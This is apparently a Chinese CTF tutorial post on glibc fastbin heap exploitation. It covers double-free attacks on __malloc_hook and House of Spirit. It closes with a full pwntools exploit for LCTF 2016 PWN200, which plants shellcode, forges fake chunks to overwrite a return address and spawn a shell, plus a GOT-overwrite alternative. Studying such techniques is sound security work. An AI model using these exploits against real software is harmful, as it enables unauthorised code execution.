FastBin_Attack

FastBin_dup

1.FastBin

fastbin采用LIFO的单链表方式管理空闲chunk,fastbin不会修改空闲chunk的prev_inuse标志位,也不会进行堆块合并。

fastbin的大小范围为0x20-0x80,共7个单链表数组(只有fd指针,即单向链表)。每个链表数组依次递增0x10大小。相同大小的chunk会被分配到同一个链表数组中。

当某个堆块被释放后,它的fd指针会指向下一个空闲chunk,arena会保存每个链表头部chunk的地址。

:free释放堆块后,会将堆块链入到main_arena对应大小的bin中,可以用dq &main_arena 20查看main_arean中存放的各个bin的头结点。从上到下分别对应main_arean布局中的不同大小的chunk块。

pCaRMBF.png

pCarhW	T.png

Double Free

简介

Double Free即两次释放同一个chunk,可以伪造该chunk的fd指针,在fastbin链表中增加一个fake_chunk地址,实现任意地址写。

由于libc中加入了double free缓解机制,即会检查当前释放的chunk是否和chunk头结点的chunk相同,若相同则程序终止。因此我们

可以构造如下代码段绕过double free检查机制

1
2
3
4
5
6
7
8
9
int main() 
{
chunk1 = malloc(0x28)
chunk2 = malloc(0x28)
free(chunk1)
free(chunk2)
free(chunk1)
return 0;
}

pCarfYV.png

之所以在0x30大小的fastbin链表数组中,是因为数据块大小被分配0x20,chunk_head大小0x10。

此时,我们malloc(0x28)即可申请到chunk1,使用程序的edit修改chunk1的fd指针。

再次申请到chunk1时,继续申请chunk即可申请到fd指针指向的fake_chunk区域,实现任意地址写。

:libc会检查申请到的chunk的大小,因此,我们需要提前伪造fake_chunk的大小(chunk_head的size域)以符合要求。

通常情况下,我们可以将__malloc_hook附近作为fake_chunk,但是我们需要找到一个合适的size域

我们可以使用find_fake_fast这个指令查看想要修改的位置附近是否有可能存在可以伪造的chunk内存地址

pCas3t0.png

可以看到,再__malloc_hook-35处是存在一个0x7f字段的,我们可以们设法把0x7f这个位置放在size的地方再对齐,靠这个0x7f绕过free对size的检查。之所以能这样利用,是因为malloc既不检查地址对齐,也不检查size的flag标志位是否损坏。

因此完整构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
a=malloc(0x68)
b=malloc(0x68)

free(a)
free(b)
free(a)

malloc(0x68,p64(libc.sym['__malloc_hook']-(0x50-0x2d))) //定位到fake_chunk的位置
malloc(0x68)
malloc(0x68)
malloc(0x68,b'B'*(0x50-0x3d)+p64(libc.address+0xe1fa1)) //再次申请即获得fake_chunk内存块,填充 malloc为execve函数
malloc(1,'') //再次malloc即执行execve函数

House of Spirit

House_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

通俗的来说,该攻击方法就是在可写位置伪造一个size和next_size,然后free该位置后再malloc该位置就可以实现对该区域的可控操作,即不通过malloc产生一个伪造chunk,free后利用。

要想构造 fastbin fake chunk,并且将其释放时,可以将其放入到对应的 fastbin 链表中,需要绕过一些必要的检测,即

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。

  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK

  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。

  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem

  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

经典利用场景的条件如下

(1)想要控制的目标区域的前段空间与后段空间都是可控的内存区域

一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们输入的数据是无法控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间,示意图如下。

pPOmNlR.png

(2)存在可将堆变量指针覆盖指向为可控区域,即上一步中的区域

利用思路:

在可控区域1伪造fake_chunk的size,并在可控区域2伪造next_chunk,free掉可控1的fake_chunk后再malloc回来,就可实现对中间原本不可控区域的控制(大多数情况为栈上的返回地址)

例题:LCTF 2016 PWN200

checksec发现NX未开启,考虑写入shellcode,但程序不存在栈溢出,因此不能直接将返回地址写为shellcode地址。

主要函数:

pPOmU61.png

pPOmtp9.png

  • 首先,利用输入用户名输入48个字符打印出rbp栈地址,进而获取shellcode地址(将shellcode写入栈上)。

  • 之后,由于set_id首先调用,因此在栈上位于A29函数的高地址处,在id处伪造next_chunk_size。

  • 最后,在A29函数中构造fake_chunk_size,构造完成后,即可实现上面可控1和可控2中间夹着返回地址,free后申请回来填充返回地址为shellcode_addr。

构造后内存如下:

pPOm00K.png

其中,1为shellcode地址,2为dest指向地址,3为buf地址,4(0x….798)为A29函数的返回地址,已被覆盖成shellcode_addr,5和6分别为fake_chunk_size和next_chunk_size。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

context.log_level = 'debug'
#p = remote("node4.buuoj.cn",26350)
p = process('./pwn200')

free_got = 0x0000000000602018

shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')

gdb.attach(p)
#part one
payload = b''
payload += shellcode.ljust(48)

p.recvuntil('who are u?\n')
p.send(payload)
p.recvuntil(payload)

rbp_addr = u64(p.recvn(6).ljust(8, b'\x00'))

shellcode_addr = rbp_addr - 0x50 # 20H + 30H
print("shellcode_addr: ", hex(shellcode_addr))
fake_addr = rbp_addr - 0x90 # offset 0x40 to shellcode, 0x400a29 return address


p.recvuntil('give me your id ~~?\n')
p.sendline('32') # id
p.recvuntil('give me money~\n')


#part two
#32bytes padding + prev_size + size + padding + fake_addr
data = p64(0) * 4 + p64(0) + p64(0x41) # no strcpy
data = data.ljust(56, b'\x00') + p64(fake_addr)

p.send(data)

p.recvuntil('choice : ')
p.sendline('2') # free(fake_addr)

p.recvuntil('choice : ')
p.sendline('1') #malloc(fake_addr) #fake_addr

p.recvuntil('long?')
p.sendline('48') # 48 + 16 = 64 = 0x40
p.recvline('48') # ptr = malloc(48)

data = b'a' * 0x18 + p64(shellcode_addr) # write to target_addr
data = data.ljust(48, b'\x00')


p.send(data)
pause()
p.recvuntil('choice')
p.sendline('3')

p.interactive()

当然,该题也可以不通过House of Spirit,由于strcpy处可进行任意地址修改,且got表可改,可将free_got表内容改为shellcode_addr,之后调用free。

1
2
payload = p64(shellcode_addr)
p.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got)) # 绕过检查